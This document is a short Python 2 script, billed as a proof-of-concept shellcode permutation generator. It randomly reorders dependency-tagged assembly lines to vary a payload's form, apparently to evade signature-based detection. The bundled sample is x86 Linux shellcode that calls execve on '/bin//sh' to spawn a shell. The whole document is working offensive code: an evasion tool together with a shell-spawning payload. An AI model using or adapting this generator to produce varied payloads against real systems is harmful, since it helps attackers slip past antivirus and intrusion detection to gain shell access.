proof-of-concept shellcode permutation generator

generate.py

from random import sample, choice

def parse(text):
    parts = {}
    deps = {}
    lines = text.strip().split("\n")
    for line in lines:
        lineid, linedeps, content = line.split(";", 2)
        lineid = lineid.strip()
        linedeps = map(lambda dep: dep.strip(), linedeps.strip().split(","))
        parts[lineid] = content
        if linedeps == [""]: linedeps = []
        if linedeps != []:
            deps[lineid] = set(linedeps)
    return parts, deps

def generate(text):
    parts, deps = parse(text)
    done_insts = set([])
    all_insts = set(parts.keys())
    possible_insts = all_insts - set(deps.keys())
    code = []
    while done_insts != all_insts:
        inst = choice(list(possible_insts))
        code.append(parts[inst])
        possible_insts.remove(inst)
        done_insts.add(inst)
        possible_insts |= set(pos_inst
                for pos_inst in deps.keys()
                if deps[pos_inst].issubset(done_insts))
        possible_insts -= set(done_insts)
    return "\n".join(code)


#syntax:
# lineid ";" list of dependencies ";" whatever output you want "\n"

sample = """
10 ;       ;  xor ecx, ecx
20 ; 10    ;  imul ecx
30 ; 20    ;  push eax
40 ; 30    ;  push 0x68732f2f /* "//sh" */
50 ; 40    ;  push 0x6e69622f /* "/bin" */
60 ; 20    ;  mov al, SYS_execve
70 ; 50    ;  mov ebx, esp
80 ; 60,70 ;  int 0x80
"""

print generate(sample)